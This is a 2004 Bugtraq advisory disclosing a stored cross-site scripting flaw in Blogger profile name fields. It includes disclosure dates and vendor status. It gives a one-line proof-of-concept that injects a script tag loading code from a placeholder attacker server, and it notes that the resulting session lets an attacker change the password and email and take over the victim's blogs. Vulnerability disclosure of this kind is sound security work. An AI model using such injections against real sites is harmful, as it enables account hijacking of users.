Bugtraq: Blogger XSS Vulnerability

["Ferruh Mavituna" <ferruh () mavituna com>]

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BLOGGER XSS VULNERABILITY
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Online URL : http://ferruh.mavituna.com/article/?470
Severity : Moderately Critical for Members (Permanent User Account
Hijacking)

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ABOUT BLOGGER;
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Blogger is a web-based tool that helps you publish to the web instantly --
whenever the urge strikes. Blogger is the leading tool in the rapidly
growing area of web publishing known as weblogs, or "blogs."

by Google (Pyra Labs acquired by Google)

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XSS DETAILS;
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There is no HTML filter when rendering user profiles. So anyone can inject a
script into a profile's "First Name" "Last Name" etc.

If you inject a code into "First Name" this will be print and run in users's
first page [www.blogger.com], so an attacker can easily gain victim's
account.



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        Proof Of Concept;
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        Inject [script src="http://[ATTACKER-SERVER]/EVIL-JS/"][/script] to
victim "First Name"
        Now you can execute anything in remote.

        After login as your victim;
                  I. You can change password (without old password)
                 II. You can change e-mail address without any confirmation
                III. You can own the victim blogs

        
        *Replace ][,<>
        *Script injection is limited to 50 characters (but it's pretty
enough to add js script)


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HISTORY;
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Discovered : 2/22/2004
Vendor Informed : 2/25/2004
Published : 3/26/2004

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VENDOR STATUS;
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Contact established with Google but there is no answer.

Ferruh Mavituna
Web Application Security Specialist
http://ferruh.mavituna.com
ferruh () mavituna com

PGPKey : http://ferruh.mavituna.com/PGPKey.asc